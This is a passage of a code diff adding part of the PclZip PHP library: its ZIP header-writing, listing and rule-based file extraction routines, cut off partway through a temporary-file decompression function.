+        $v_compare = PclZipUtilPathInclusion($p_remove_dir,
+                                             $v_stored_filename);
+        if ($v_compare > 0) {
+          if ($v_compare == 2) {
+            $v_stored_filename = "";
+          }
+          else {
+            $v_stored_filename = substr($v_stored_filename,
+                                        strlen($p_remove_dir));
+          }
+        }
+      }
+
+      // ----- Remove drive letter if any
+      $v_stored_filename = PclZipUtilTranslateWinPath($v_stored_filename);
+
+      // ----- Look for path to add
+      if ($p_add_dir != "") {
+        if (substr($p_add_dir, -1) == "/")
+          $v_stored_filename = $p_add_dir.$v_stored_filename;
+        else
+          $v_stored_filename = $p_add_dir."/".$v_stored_filename;
+      }
+    }
+
+    // ----- Filename (reduce the path of stored name)
+    $v_stored_filename = PclZipUtilPathReduction($v_stored_filename);
+    $p_filedescr['stored_filename'] = $v_stored_filename;
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privWriteFileHeader()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privWriteFileHeader(&$p_header)
+  {
+    $v_result=1;
+
+    // ----- Store the offset position of the file
+    $p_header['offset'] = ftell($this->zip_fd);
+
+    // ----- Transform UNIX mtime to DOS format mdate/mtime
+    $v_date = getdate($p_header['mtime']);
+    $v_mtime = ($v_date['hours']<<11) + ($v_date['minutes']<<5) + $v_date['seconds']/2;
+    $v_mdate = (($v_date['year']-1980)<<9) + ($v_date['mon']<<5) + $v_date['mday'];
+
+    // ----- Packed data
+    $v_binary_data = pack("VvvvvvVVVvv", 0x04034b50,
+	                      $p_header['version_extracted'], $p_header['flag'],
+                          $p_header['compression'], $v_mtime, $v_mdate,
+                          $p_header['crc'], $p_header['compressed_size'],
+						  $p_header['size'],
+                          strlen($p_header['stored_filename']),
+						  $p_header['extra_len']);
+
+    // ----- Write the first 148 bytes of the header in the archive
+    fputs($this->zip_fd, $v_binary_data, 30);
+
+    // ----- Write the variable fields
+    if (strlen($p_header['stored_filename']) != 0)
+    {
+      fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename']));
+    }
+    if ($p_header['extra_len'] != 0)
+    {
+      fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']);
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privWriteCentralFileHeader()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privWriteCentralFileHeader(&$p_header)
+  {
+    $v_result=1;
+
+    // TBC
+    //for(reset($p_header); $key = key($p_header); next($p_header)) {
+    //}
+
+    // ----- Transform UNIX mtime to DOS format mdate/mtime
+    $v_date = getdate($p_header['mtime']);
+    $v_mtime = ($v_date['hours']<<11) + ($v_date['minutes']<<5) + $v_date['seconds']/2;
+    $v_mdate = (($v_date['year']-1980)<<9) + ($v_date['mon']<<5) + $v_date['mday'];
+
+
+    // ----- Packed data
+    $v_binary_data = pack("VvvvvvvVVVvvvvvVV", 0x02014b50,
+	                      $p_header['version'], $p_header['version_extracted'],
+                          $p_header['flag'], $p_header['compression'],
+						  $v_mtime, $v_mdate, $p_header['crc'],
+                          $p_header['compressed_size'], $p_header['size'],
+                          strlen($p_header['stored_filename']),
+						  $p_header['extra_len'], $p_header['comment_len'],
+                          $p_header['disk'], $p_header['internal'],
+						  $p_header['external'], $p_header['offset']);
+
+    // ----- Write the 42 bytes of the header in the zip file
+    fputs($this->zip_fd, $v_binary_data, 46);
+
+    // ----- Write the variable fields
+    if (strlen($p_header['stored_filename']) != 0)
+    {
+      fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename']));
+    }
+    if ($p_header['extra_len'] != 0)
+    {
+      fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']);
+    }
+    if ($p_header['comment_len'] != 0)
+    {
+      fputs($this->zip_fd, $p_header['comment'], $p_header['comment_len']);
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privWriteCentralHeader()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privWriteCentralHeader($p_nb_entries, $p_size, $p_offset, $p_comment)
+  {
+    $v_result=1;
+
+    // ----- Packed data
+    $v_binary_data = pack("VvvvvVVv", 0x06054b50, 0, 0, $p_nb_entries,
+	                      $p_nb_entries, $p_size,
+						  $p_offset, strlen($p_comment));
+
+    // ----- Write the 22 bytes of the header in the zip file
+    fputs($this->zip_fd, $v_binary_data, 22);
+
+    // ----- Write the variable fields
+    if (strlen($p_comment) != 0)
+    {
+      fputs($this->zip_fd, $p_comment, strlen($p_comment));
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privList()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privList(&$p_list)
+  {
+    $v_result=1;
+
+    // ----- Magic quotes trick
+    $this->privDisableMagicQuotes();
+
+    // ----- Open the zip file
+    if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0)
+    {
+      // ----- Magic quotes trick
+      $this->privSwapBackMagicQuotes();
+
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode');
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- Read the central directory informations
+    $v_central_dir = array();
+    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
+    {
+      $this->privSwapBackMagicQuotes();
+      return $v_result;
+    }
+
+    // ----- Go to beginning of Central Dir
+    @rewind($this->zip_fd);
+    if (@fseek($this->zip_fd, $v_central_dir['offset']))
+    {
+      $this->privSwapBackMagicQuotes();
+
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- Read each entry
+    for ($i=0; $i<$v_central_dir['entries']; $i++)
+    {
+      // ----- Read the file header
+      if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1)
+      {
+        $this->privSwapBackMagicQuotes();
+        return $v_result;
+      }
+      $v_header['index'] = $i;
+
+      // ----- Get the only interesting attributes
+      $this->privConvertHeader2FileInfo($v_header, $p_list[$i]);
+      unset($v_header);
+    }
+
+    // ----- Close the zip file
+    $this->privCloseFd();
+
+    // ----- Magic quotes trick
+    $this->privSwapBackMagicQuotes();
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privConvertHeader2FileInfo()
+  // Description :
+  //   This function takes the file informations from the central directory
+  //   entries and extract the interesting parameters that will be given back.
+  //   The resulting file infos are set in the array $p_info
+  //     $p_info['filename'] : Filename with full path. Given by user (add),
+  //                           extracted in the filesystem (extract).
+  //     $p_info['stored_filename'] : Stored filename in the archive.
+  //     $p_info['size'] = Size of the file.
+  //     $p_info['compressed_size'] = Compressed size of the file.
+  //     $p_info['mtime'] = Last modification date of the file.
+  //     $p_info['comment'] = Comment associated with the file.
+  //     $p_info['folder'] = true/false : indicates if the entry is a folder or not.
+  //     $p_info['status'] = status of the action on the file.
+  //     $p_info['crc'] = CRC of the file content.
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privConvertHeader2FileInfo($p_header, &$p_info)
+  {
+    $v_result=1;
+
+    // ----- Get the interesting attributes
+    $v_temp_path = PclZipUtilPathReduction($p_header['filename']);
+    $p_info['filename'] = $v_temp_path;
+    $v_temp_path = PclZipUtilPathReduction($p_header['stored_filename']);
+    $p_info['stored_filename'] = $v_temp_path;
+    $p_info['size'] = $p_header['size'];
+    $p_info['compressed_size'] = $p_header['compressed_size'];
+    $p_info['mtime'] = $p_header['mtime'];
+    $p_info['comment'] = $p_header['comment'];
+    $p_info['folder'] = (($p_header['external']&0x00000010)==0x00000010);
+    $p_info['index'] = $p_header['index'];
+    $p_info['status'] = $p_header['status'];
+    $p_info['crc'] = $p_header['crc'];
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privExtractByRule()
+  // Description :
+  //   Extract a file or directory depending of rules (by index, by name, ...)
+  // Parameters :
+  //   $p_file_list : An array where will be placed the properties of each
+  //                  extracted file
+  //   $p_path : Path to add while writing the extracted files
+  //   $p_remove_path : Path to remove (from the file memorized path) while writing the
+  //                    extracted files. If the path does not match the file path,
+  //                    the file is extracted with its memorized path.
+  //                    $p_remove_path does not apply to 'list' mode.
+  //                    $p_path and $p_remove_path are commulative.
+  // Return Values :
+  //   1 on success,0 or less on error (see error code list)
+  // --------------------------------------------------------------------------------
+  function privExtractByRule(&$p_file_list, $p_path, $p_remove_path, $p_remove_all_path, &$p_options)
+  {
+    $v_result=1;
+
+    // ----- Magic quotes trick
+    $this->privDisableMagicQuotes();
+
+    // ----- Check the path
+    if (   ($p_path == "")
+	    || (   (substr($p_path, 0, 1) != "/")
+		    && (substr($p_path, 0, 3) != "../")
+			&& (substr($p_path,1,2)!=":/")))
+      $p_path = "./".$p_path;
+
+    // ----- Reduce the path last (and duplicated) '/'
+    if (($p_path != "./") && ($p_path != "/"))
+    {
+      // ----- Look for the path end '/'
+      while (substr($p_path, -1) == "/")
+      {
+        $p_path = substr($p_path, 0, strlen($p_path)-1);
+      }
+    }
+
+    // ----- Look for path to remove format (should end by /)
+    if (($p_remove_path != "") && (substr($p_remove_path, -1) != '/'))
+    {
+      $p_remove_path .= '/';
+    }
+    $p_remove_path_size = strlen($p_remove_path);
+
+    // ----- Open the zip file
+    if (($v_result = $this->privOpenFd('rb')) != 1)
+    {
+      $this->privSwapBackMagicQuotes();
+      return $v_result;
+    }
+
+    // ----- Read the central directory informations
+    $v_central_dir = array();
+    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
+    {
+      // ----- Close the zip file
+      $this->privCloseFd();
+      $this->privSwapBackMagicQuotes();
+
+      return $v_result;
+    }
+
+    // ----- Start at beginning of Central Dir
+    $v_pos_entry = $v_central_dir['offset'];
+
+    // ----- Read each entry
+    $j_start = 0;
+    for ($i=0, $v_nb_extracted=0; $i<$v_central_dir['entries']; $i++)
+    {
+
+      // ----- Read next Central dir entry
+      @rewind($this->zip_fd);
+      if (@fseek($this->zip_fd, $v_pos_entry))
+      {
+        // ----- Close the zip file
+        $this->privCloseFd();
+        $this->privSwapBackMagicQuotes();
+
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
+
+        // ----- Return
+        return PclZip::errorCode();
+      }
+
+      // ----- Read the file header
+      $v_header = array();
+      if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1)
+      {
+        // ----- Close the zip file
+        $this->privCloseFd();
+        $this->privSwapBackMagicQuotes();
+
+        return $v_result;
+      }
+
+      // ----- Store the index
+      $v_header['index'] = $i;
+
+      // ----- Store the file position
+      $v_pos_entry = ftell($this->zip_fd);
+
+      // ----- Look for the specific extract rules
+      $v_extract = false;
+
+      // ----- Look for extract by name rule
+      if (   (isset($p_options[PCLZIP_OPT_BY_NAME]))
+          && ($p_options[PCLZIP_OPT_BY_NAME] != 0)) {
+
+          // ----- Look if the filename is in the list
+          for ($j=0; ($j<sizeof($p_options[PCLZIP_OPT_BY_NAME])) && (!$v_extract); $j++) {
+
+              // ----- Look for a directory
+              if (substr($p_options[PCLZIP_OPT_BY_NAME][$j], -1) == "/") {
+
+                  // ----- Look if the directory is in the filename path
+                  if (   (strlen($v_header['stored_filename']) > strlen($p_options[PCLZIP_OPT_BY_NAME][$j]))
+                      && (substr($v_header['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
+                      $v_extract = true;
+                  }
+              }
+              // ----- Look for a filename
+              elseif ($v_header['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) {
+                  $v_extract = true;
+              }
+          }
+      }
+
+      // ----- Look for extract by ereg rule
+      // ereg() is deprecated with PHP 5.3
+      /*
+      else if (   (isset($p_options[PCLZIP_OPT_BY_EREG]))
+               && ($p_options[PCLZIP_OPT_BY_EREG] != "")) {
+
+          if (ereg($p_options[PCLZIP_OPT_BY_EREG], $v_header['stored_filename'])) {
+              $v_extract = true;
+          }
+      }
+      */
+
+      // ----- Look for extract by preg rule
+      else if (   (isset($p_options[PCLZIP_OPT_BY_PREG]))
+               && ($p_options[PCLZIP_OPT_BY_PREG] != "")) {
+
+          if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header['stored_filename'])) {
+              $v_extract = true;
+          }
+      }
+
+      // ----- Look for extract by index rule
+      else if (   (isset($p_options[PCLZIP_OPT_BY_INDEX]))
+               && ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) {
+
+          // ----- Look if the index is in the list
+          for ($j=$j_start; ($j<sizeof($p_options[PCLZIP_OPT_BY_INDEX])) && (!$v_extract); $j++) {
+
+              if (($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) {
+                  $v_extract = true;
+              }
+              if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) {
+                  $j_start = $j+1;
+              }
+
+              if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start']>$i) {
+                  break;
+              }
+          }
+      }
+
+      // ----- Look for no rule, which means extract all the archive
+      else {
+          $v_extract = true;
+      }
+
+	  // ----- Check compression method
+	  if (   ($v_extract)
+	      && (   ($v_header['compression'] != 8)
+		      && ($v_header['compression'] != 0))) {
+          $v_header['status'] = 'unsupported_compression';
+
+          // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
+          if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
+		      && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
+
+              $this->privSwapBackMagicQuotes();
+
+              PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_COMPRESSION,
+			                       "Filename '".$v_header['stored_filename']."' is "
+				  	    	  	   ."compressed by an unsupported compression "
+				  	    	  	   ."method (".$v_header['compression'].") ");
+
+              return PclZip::errorCode();
+		  }
+	  }
+
+	  // ----- Check encrypted files
+	  if (($v_extract) && (($v_header['flag'] & 1) == 1)) {
+          $v_header['status'] = 'unsupported_encryption';
+
+          // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
+          if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
+		      && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
+
+              $this->privSwapBackMagicQuotes();
+
+              PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION,
+			                       "Unsupported encryption for "
+				  	    	  	   ." filename '".$v_header['stored_filename']
+								   ."'");
+
+              return PclZip::errorCode();
+		  }
+    }
+
+      // ----- Look for real extraction
+      if (($v_extract) && ($v_header['status'] != 'ok')) {
+          $v_result = $this->privConvertHeader2FileInfo($v_header,
+		                                        $p_file_list[$v_nb_extracted++]);
+          if ($v_result != 1) {
+              $this->privCloseFd();
+              $this->privSwapBackMagicQuotes();
+              return $v_result;
+          }
+
+          $v_extract = false;
+      }
+
+      // ----- Look for real extraction
+      if ($v_extract)
+      {
+
+        // ----- Go to the file position
+        @rewind($this->zip_fd);
+        if (@fseek($this->zip_fd, $v_header['offset']))
+        {
+          // ----- Close the zip file
+          $this->privCloseFd();
+
+          $this->privSwapBackMagicQuotes();
+
+          // ----- Error log
+          PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
+
+          // ----- Return
+          return PclZip::errorCode();
+        }
+
+        // ----- Look for extraction as string
+        if ($p_options[PCLZIP_OPT_EXTRACT_AS_STRING]) {
+
+          $v_string = '';
+
+          // ----- Extracting the file
+          $v_result1 = $this->privExtractFileAsString($v_header, $v_string, $p_options);
+          if ($v_result1 < 1) {
+            $this->privCloseFd();
+            $this->privSwapBackMagicQuotes();
+            return $v_result1;
+          }
+
+          // ----- Get the only interesting attributes
+          if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted])) != 1)
+          {
+            // ----- Close the zip file
+            $this->privCloseFd();
+            $this->privSwapBackMagicQuotes();
+
+            return $v_result;
+          }
+
+          // ----- Set the file content
+          $p_file_list[$v_nb_extracted]['content'] = $v_string;
+
+          // ----- Next extracted file
+          $v_nb_extracted++;
+
+          // ----- Look for user callback abort
+          if ($v_result1 == 2) {
+          	break;
+          }
+        }
+        // ----- Look for extraction in standard output
+        elseif (   (isset($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT]))
+		        && ($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT])) {
+          // ----- Extracting the file in standard output
+          $v_result1 = $this->privExtractFileInOutput($v_header, $p_options);
+          if ($v_result1 < 1) {
+            $this->privCloseFd();
+            $this->privSwapBackMagicQuotes();
+            return $v_result1;
+          }
+
+          // ----- Get the only interesting attributes
+          if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1) {
+            $this->privCloseFd();
+            $this->privSwapBackMagicQuotes();
+            return $v_result;
+          }
+
+          // ----- Look for user callback abort
+          if ($v_result1 == 2) {
+          	break;
+          }
+        }
+        // ----- Look for normal extraction
+        else {
+          // ----- Extracting the file
+          $v_result1 = $this->privExtractFile($v_header,
+		                                      $p_path, $p_remove_path,
+											  $p_remove_all_path,
+											  $p_options);
+          if ($v_result1 < 1) {
+            $this->privCloseFd();
+            $this->privSwapBackMagicQuotes();
+            return $v_result1;
+          }
+
+          // ----- Get the only interesting attributes
+          if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1)
+          {
+            // ----- Close the zip file
+            $this->privCloseFd();
+            $this->privSwapBackMagicQuotes();
+
+            return $v_result;
+          }
+
+          // ----- Look for user callback abort
+          if ($v_result1 == 2) {
+          	break;
+          }
+        }
+      }
+    }
+
+    // ----- Close the zip file
+    $this->privCloseFd();
+    $this->privSwapBackMagicQuotes();
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privExtractFile()
+  // Description :
+  // Parameters :
+  // Return Values :
+  //
+  // 1 : ... ?
+  // PCLZIP_ERR_USER_ABORTED(2) : User ask for extraction stop in callback
+  // --------------------------------------------------------------------------------
+  function privExtractFile(&$p_entry, $p_path, $p_remove_path, $p_remove_all_path, &$p_options)
+  {
+    $v_result=1;
+
+    // ----- Read the file header
+    if (($v_result = $this->privReadFileHeader($v_header)) != 1)
+    {
+      // ----- Return
+      return $v_result;
+    }
+
+
+    // ----- Check that the file header is coherent with $p_entry info
+    if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
+        // TBC
+    }
+
+    // ----- Look for all path to remove
+    if ($p_remove_all_path == true) {
+        // ----- Look for folder entry that not need to be extracted
+        if (($p_entry['external']&0x00000010)==0x00000010) {
+
+            $p_entry['status'] = "filtered";
+
+            return $v_result;
+        }
+
+        // ----- Get the basename of the path
+        $p_entry['filename'] = basename($p_entry['filename']);
+    }
+
+    // ----- Look for path to remove
+    else if ($p_remove_path != "")
+    {
+      if (PclZipUtilPathInclusion($p_remove_path, $p_entry['filename']) == 2)
+      {
+
+        // ----- Change the file status
+        $p_entry['status'] = "filtered";
+
+        // ----- Return
+        return $v_result;
+      }
+
+      $p_remove_path_size = strlen($p_remove_path);
+      if (substr($p_entry['filename'], 0, $p_remove_path_size) == $p_remove_path)
+      {
+
+        // ----- Remove the path
+        $p_entry['filename'] = substr($p_entry['filename'], $p_remove_path_size);
+
+      }
+    }
+
+    // ----- Add the path
+    if ($p_path != '') {
+      $p_entry['filename'] = $p_path."/".$p_entry['filename'];
+    }
+
+    // ----- Check a base_dir_restriction
+    if (isset($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION])) {
+      $v_inclusion
+      = PclZipUtilPathInclusion($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION],
+                                $p_entry['filename']);
+      if ($v_inclusion == 0) {
+
+        PclZip::privErrorLog(PCLZIP_ERR_DIRECTORY_RESTRICTION,
+			                     "Filename '".$p_entry['filename']."' is "
+								 ."outside PCLZIP_OPT_EXTRACT_DIR_RESTRICTION");
+
+        return PclZip::errorCode();
+      }
+    }
+
+    // ----- Look for pre-extract callback
+    if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {
+
+      // ----- Generate a local information
+      $v_local_header = array();
+      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);
+
+      // ----- Call the callback
+      // Here I do not use call_user_func() because I need to send a reference to the
+      // header.
+      $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header);
+      if ($v_result == 0) {
+        // ----- Change the file status
+        $p_entry['status'] = "skipped";
+        $v_result = 1;
+      }
+
+      // ----- Look for abort result
+      if ($v_result == 2) {
+        // ----- This status is internal and will be changed in 'skipped'
+        $p_entry['status'] = "aborted";
+      	$v_result = PCLZIP_ERR_USER_ABORTED;
+      }
+
+      // ----- Update the informations
+      // Only some fields can be modified
+      $p_entry['filename'] = $v_local_header['filename'];
+    }
+
+
+    // ----- Look if extraction should be done
+    if ($p_entry['status'] == 'ok') {
+
+    // ----- Look for specific actions while the file exist
+    if (file_exists($p_entry['filename']))
+    {
+
+      // ----- Look if file is a directory
+      if (is_dir($p_entry['filename']))
+      {
+
+        // ----- Change the file status
+        $p_entry['status'] = "already_a_directory";
+
+        // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
+        // For historical reason first PclZip implementation does not stop
+        // when this kind of error occurs.
+        if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
+		    && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
+
+            PclZip::privErrorLog(PCLZIP_ERR_ALREADY_A_DIRECTORY,
+			                     "Filename '".$p_entry['filename']."' is "
+								 ."already used by an existing directory");
+
+            return PclZip::errorCode();
+		    }
+      }
+      // ----- Look if file is write protected
+      else if (!is_writeable($p_entry['filename']))
+      {
+
+        // ----- Change the file status
+        $p_entry['status'] = "write_protected";
+
+        // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
+        // For historical reason first PclZip implementation does not stop
+        // when this kind of error occurs.
+        if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
+		    && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
+
+            PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL,
+			                     "Filename '".$p_entry['filename']."' exists "
+								 ."and is write protected");
+
+            return PclZip::errorCode();
+		    }
+      }
+
+      // ----- Look if the extracted file is older
+      else if (filemtime($p_entry['filename']) > $p_entry['mtime'])
+      {
+        // ----- Change the file status
+        if (   (isset($p_options[PCLZIP_OPT_REPLACE_NEWER]))
+		    && ($p_options[PCLZIP_OPT_REPLACE_NEWER]===true)) {
+	  	  }
+		    else {
+            $p_entry['status'] = "newer_exist";
+
+            // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
+            // For historical reason first PclZip implementation does not stop
+            // when this kind of error occurs.
+            if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
+		        && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
+
+                PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL,
+			             "Newer version of '".$p_entry['filename']."' exists "
+					    ."and option PCLZIP_OPT_REPLACE_NEWER is not selected");
+
+                return PclZip::errorCode();
+		      }
+		    }
+      }
+      else {
+      }
+    }
+
+    // ----- Check the directory availability and create it if necessary
+    else {
+      if ((($p_entry['external']&0x00000010)==0x00000010) || (substr($p_entry['filename'], -1) == '/'))
+        $v_dir_to_check = $p_entry['filename'];
+      else if (!strstr($p_entry['filename'], "/"))
+        $v_dir_to_check = "";
+      else
+        $v_dir_to_check = dirname($p_entry['filename']);
+
+        if (($v_result = $this->privDirCheck($v_dir_to_check, (($p_entry['external']&0x00000010)==0x00000010))) != 1) {
+
+          // ----- Change the file status
+          $p_entry['status'] = "path_creation_fail";
+
+          // ----- Return
+          //return $v_result;
+          $v_result = 1;
+        }
+      }
+    }
+
+    // ----- Look if extraction should be done
+    if ($p_entry['status'] == 'ok') {
+
+      // ----- Do the extraction (if not a folder)
+      if (!(($p_entry['external']&0x00000010)==0x00000010))
+      {
+        // ----- Look for not compressed file
+        if ($p_entry['compression'] == 0) {
+
+    		  // ----- Opening destination file
+          if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0)
+          {
+
+            // ----- Change the file status
+            $p_entry['status'] = "write_error";
+
+            // ----- Return
+            return $v_result;
+          }
+
+
+          // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
+          $v_size = $p_entry['compressed_size'];
+          while ($v_size != 0)
+          {
+            $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+            $v_buffer = @fread($this->zip_fd, $v_read_size);
+            /* Try to speed up the code
+            $v_binary_data = pack('a'.$v_read_size, $v_buffer);
+            @fwrite($v_dest_file, $v_binary_data, $v_read_size);
+            */
+            @fwrite($v_dest_file, $v_buffer, $v_read_size);
+            $v_size -= $v_read_size;
+          }
+
+          // ----- Closing the destination file
+          fclose($v_dest_file);
+
+          // ----- Change the file mtime
+          touch($p_entry['filename'], $p_entry['mtime']);
+
+
+        }
+        else {
+          // ----- TBC
+          // Need to be finished
+          if (($p_entry['flag'] & 1) == 1) {
+            PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION, 'File \''.$p_entry['filename'].'\' is encrypted. Encrypted files are not supported.');
+            return PclZip::errorCode();
+          }
+
+
+          // ----- Look for using temporary file to unzip
+          if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF]))
+              && (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON])
+                  || (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD])
+                      && ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_entry['size'])) ) ) {
+            $v_result = $this->privExtractFileUsingTempFile($p_entry, $p_options);
+            if ($v_result < PCLZIP_ERR_NO_ERROR) {
+              return $v_result;
+            }
+          }
+
+          // ----- Look for extract in memory
+          else {
+
+
+            // ----- Read the compressed file in a buffer (one shot)
+            $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);
+
+            // ----- Decompress the file
+            $v_file_content = @gzinflate($v_buffer);
+            unset($v_buffer);
+            if ($v_file_content === FALSE) {
+
+              // ----- Change the file status
+              // TBC
+              $p_entry['status'] = "error";
+
+              return $v_result;
+            }
+
+            // ----- Opening destination file
+            if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) {
+
+              // ----- Change the file status
+              $p_entry['status'] = "write_error";
+
+              return $v_result;
+            }
+
+            // ----- Write the uncompressed data
+            @fwrite($v_dest_file, $v_file_content, $p_entry['size']);
+            unset($v_file_content);
+
+            // ----- Closing the destination file
+            @fclose($v_dest_file);
+
+          }
+
+          // ----- Change the file mtime
+          @touch($p_entry['filename'], $p_entry['mtime']);
+        }
+
+        // ----- Look for chmod option
+        if (isset($p_options[PCLZIP_OPT_SET_CHMOD])) {
+
+          // ----- Change the mode of the file
+          @chmod($p_entry['filename'], $p_options[PCLZIP_OPT_SET_CHMOD]);
+        }
+
+      }
+    }
+
+  	// ----- Change abort status
+  	if ($p_entry['status'] == "aborted") {
+        $p_entry['status'] = "skipped";
+  	}
+
+    // ----- Look for post-extract callback
+    elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {
+
+      // ----- Generate a local information
+      $v_local_header = array();
+      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);
+
+      // ----- Call the callback
+      // Here I do not use call_user_func() because I need to send a reference to the
+      // header.
+      $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header);
+
+      // ----- Look for abort result
+      if ($v_result == 2) {
+      	$v_result = PCLZIP_ERR_USER_ABORTED;
+      }
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privExtractFileUsingTempFile()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privExtractFileUsingTempFile(&$p_entry, &$p_options)
+  {
+    $v_result=1;
+
+    // ----- Creates a temporary file
+    $v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.gz';
+    if (($v_dest_file = @fopen($v_gzip_temp_name, "wb")) == 0) {
+      fclose($v_file);
+      PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary write mode');
+      return PclZip::errorCode();
+    }
+
+
+    // ----- Write gz file format header
+    $v_binary_data = pack('va1a1Va1a1', 0x8b1f, Chr($p_entry['compression']), Chr(0x00), time(), Chr(0x00), Chr(3));
+    @fwrite($v_dest_file, $v_binary_data, 10);
+
+    // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
+    $v_size = $p_entry['compressed_size'];
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
